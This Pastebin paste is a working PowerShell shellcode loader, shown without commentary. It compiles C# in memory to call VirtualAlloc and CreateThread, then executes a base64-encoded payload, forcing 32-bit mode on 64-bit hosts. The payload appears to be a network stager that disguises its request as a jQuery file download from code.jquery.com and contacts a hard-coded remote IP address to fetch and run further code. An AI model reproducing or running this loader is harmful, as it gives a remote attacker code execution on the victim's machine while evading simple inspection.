Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Set-StrictMode -Version 2
- $eicar = ''
- $DoIt = @'
- $assembly = @"
- using System;
- using System.Runtime.InteropServices;
- namespace inject {
- public class func {
- [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
- [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
- [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
- [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
- [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
- [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
- }
- }
- "@
- $compiler = New-Object Microsoft.CSharp.CSharpCodeProvider
- $params = New-Object System.CodeDom.Compiler.CompilerParameters
- $params.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
- $params.GenerateInMemory = $True
- $result = $compiler.CompileAssemblyFromSource($params, $assembly)
- [Byte[]]$var_code = [System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//VMf9XV1dXV2g6Vnmn/9XphAAAAFsxyVFRagNRUWhQAAAAU1BoV4mfxv/V63BbMdJSaAACYIRSUlJTUlBo61UuO//VicaDw1Ax/1dXav9TVmgtBhh7/9WFwA+EwwEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3S3Mf/pkQEAAOnJAQAA6Iv///8vanF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzADEyMwAxMjMAMTIzADEyMwAxMjMAMTIzADEyMwAxMjMAMTIzADEyMwAxMjMAMTIzADEyMwAxAEFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpIb3N0OiBjb2RlLmpxdWVyeS5jb20NClJlZmVyZXI6IGh0dHA6Ly9jb2RlLmpxdWVyeS5jb20vDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMzsgVHJpZGVudC83LjA7IHJ2OjExLjApIGxpa2UgR2Vja28NCgAxMjMAMTIzADEyMwAxMjMAMTIzADEyMwAxMjMAMTIzAABo8LWiVv/VakBoABAAAGgAAEAAV2hYpFPl/9WTua8PAAAB2VFTiedXaAAgAABTVmgSloni/9WFwHTGiwcBw4XAdeVYw+ip/f//NDcuMjQ0LjEuMTcyAAAAAAA=")
- $buffer = [inject.func]::VirtualAlloc(0, $var_code.Length + 1, [inject.func+AllocationType]::Reserve -bOr [inject.func+AllocationType]::Commit, [inject.func+MemoryProtection]::ExecuteReadWrite)
- if ([Bool]!$buffer) {
- $global:result = 3;
- return
- }
- [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $buffer, $var_code.Length)
- [IntPtr] $thread = [inject.func]::CreateThread(0, 0, $buffer, 0, 0, 0)
- if ([Bool]!$thread) {
- $global:result = 7;
- return
- }
- $result2 = [inject.func]::WaitForSingleObject($thread, [inject.func+Time]::Infinite)
- '@
- If ([IntPtr]::size -eq 8) {
- start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
- }
- else {
- IEX $DoIt
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement